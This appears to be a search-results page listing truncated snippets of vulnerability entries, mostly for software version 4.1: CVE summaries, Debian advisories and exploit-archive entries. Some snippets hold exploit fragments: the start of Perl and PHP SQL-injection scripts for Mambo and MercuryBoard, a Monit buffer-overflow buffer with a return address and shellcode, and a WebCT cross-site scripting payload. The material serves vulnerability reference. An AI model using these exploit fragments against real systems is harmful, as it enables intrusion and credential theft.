security flaw

crontab in Vixie cron 4.1, when running with the -e option, allows local users to read the cron files of other users by changing the file being edited to a symlink. NOTE: there is insufficient information to know whether this is a duplicate of CVE-2001-0235...

[SECURITY] [DSA 833-1] New mysql-dfsg-4.1 packages fix arbitrary code execution

-------------------------------------------------------------------------- Debian Security Advisory DSA 833-1 [email protected] http://www.debian.org/security/ Martin Schulze October 1st, 2005 http://www.debian.org/security/faq -...

CVE-1999-1586

loadmodule in SunOS 4.1.x, as used by xnews, does not properly sanitize its environment, which allows local users to gain privileges, a different vulnerability than CVE-1999-1584...

CVE-1999-1586

CVE-1999-1586 describes a local privilege-escalation in SunOS 4.1.x where the loader path loadmodule , used by xnews, does not properly sanitize its environment. The underlying issue is inadequate environment handling, allowing local users to gain privileges. Affected product/component: SunOS 4.1...

Debian DSA-783-1 : mysql-dfsg-4.1 - insecure temporary file

Eric Romang discovered a temporary file vulnerability in a script accompanied with MySQL, a popular database, that allows an attacker to execute arbitrary SQL commands when the server is installed or updated. The old stable distribution woody as well as mysql-dfsg are not affected by this problem...

Fusebox 4.1 - index.cfm Cross-Site Scripting

Fusebox 4.1 - index.cfm Cross-Site Scripting source: https://www.securityfocus.com/bid/14460/info Fusebox is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. An attacker may leverage this issue to have...

Mambo 4.5.2.1 - SQL Injection

Mambo 4.5.2.1 - SQL Injection !/usr/bin/perl Mambo 4.1 sql injection exploit by RST/GHC coded by 1dt.w0lf , 21.06.05 http://rst.void.ru , http://ghc.ru use IO::Socket; if @ARGV 0 print qq\b\b DONE --------------------------------------------------------------- USER ID : $memberid HASH : $allchar...

MercuryBoard 1.1.4 - SQL Injection

MercuryBoard 1.1.4 - SQL Injection !/usr/bin/perl MercuryBoard 4.1 sql injection exploit by RST/GHC note: you need first register on forum for get id and login after what logout from forum and run exploit note2: edit timestamp in sources if exploit not work ; coded by 1dt.w0lf RST/GHC -...

mambo4521.php.txt

!/usr/bin/php -q Mambo 4.5.2.1 + mysql 4.1 fetch password hash by pokleyzz fetch password hash by pokleyzz content rating using sub query to select from mosusers Requirement: PHP 4.x with curl extension Description: The problem occur because $userrating variable is not properly sanitize when for...

Yamaha MusicCAST MCX-1000 wireless network interface operates in Access Point mode by default

Overview The Yamaha MusicCAST MCX-1000 server wireless networking interface is enabled by default, cannot be disabled, and operates in Access Point mode. A remote attacker could access the MusicCAST wireless network and potentially any other network connected to the MusicCAST. Description The...

CVE-2005-1076

CVE-2005-1076 describes a cross-site scripting (XSS) vulnerability in the WebCT Campus Edition 4.1 discussion board, allowing an attacker to inject arbitrary script/HTML via the message field. The connected Red Hat and CVE-2008-1225 records corroborate XSS in WebCT 4.1.5.8 and note potential over...

WebCT 4.1 vulnerable to XSS attacks

The discussion board feature of WebCT is vulnerable to XSS. Here is the proof of concept: When you are composing a new message, in the message field of the form, type this: /pretable background=javascript:alert"XSS Warning" /table Then submit the message. You should see a JavaScript alert box tha...

WebCT Discussion Board 4.1 - HTML Injection

WebCT Discussion Board 4.1 - HTML Injection source: https://www.securityfocus.com/bid/13101/info WebCT is reportedly affected by an HTML injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input prior to using it in dynamically generated...

CVE-2001-1431

Nokia Firewall Appliances running IPSO 3.3 and VPN-1/FireWall-1 4.1 Service Pack 3, IPSO 3.4 and VPN-1/FireWall-1 4.1 Service Pack 4, and IPSO 3.4 or IPSO 3.4.1 and VPN-1/FireWall-1 4.1 Service Pack 5, when SYN Defender is configured in Active Gateway mode, does not properly rewrite the third...

CVE-2005-0711

The CVE-2005-0711 issue affects MySQL versions 4.0.23 and earlier, and 4.1.x up to 4.1.10. It stems from using predictable file names when creating temporary tables, allowing a local user with CREATE TEMPORARY TABLE privileges to overwrite arbitrary files via a symlink attack. The description doe...

CVE-2004-1735

The CVE-2004-1735 entry describes a Cross-site Scripting (XSS) vulnerability in Sympa, affecting version 4.1.x and earlier, where remote authenticated users can inject arbitrary script/HTML through the description field when using the create list option. The issue is categorized as an HTML inject...

Debian DSA-105-1 : enscript - insecure temporary files

The version of enscript a tool to convert ASCII text to different formats in potato has been found to create temporary files insecurely. %NASLMINLEVEL 70300 C Tenable Network Security, Inc. The descriptive text and package checks in this plugin were extracted from Debian Security Advisory DSA-105...

IBM Tivoli Directory Server 3.2.24.1 - LDACGI Directory Traversal

IBM Tivoli Directory Server 3.2.24.1 - LDACGI Directory Traversal source: https://www.securityfocus.com/bid/10841/info IBM Tivoli Directory Server is reported to contain a directory traversal vulnerability in its web front-end application. This issue presents itself due to insufficient sanitizati...

Monit 4.1 - Remote Buffer Overflow

!/usr/bin/perl monit \n\n"; exit0; print "HOST:\t$ARGV0\n"; print "PORT:\t2812\n"; my $buffer = "B" x 284 . "\xcf\x89\xb3\x40" . $shellcode; esp mandrake 9.1 my $buffer = "A" x 284 . "XXXX" . "B" x 100; dos and debug print "connecting to server...\n"; $socket = IO::Socket::INET - new PeerAddr =...

Monit 4.1 - Remote Buffer Overflow

Monit 4.1 - Remote Buffer Overflow !/usr/bin/perl monit \n\n"; exit0; print "HOST:\t$ARGV0\n"; print "PORT:\t2812\n"; my $buffer = "B" x 284 . "\xcf\x89\xb3\x40" . $shellcode; esp mandrake 9.1 my $buffer = "A" x 284 . "XXXX" . "B" x 100; dos and debug print "connecting to server...\n"; $socket =...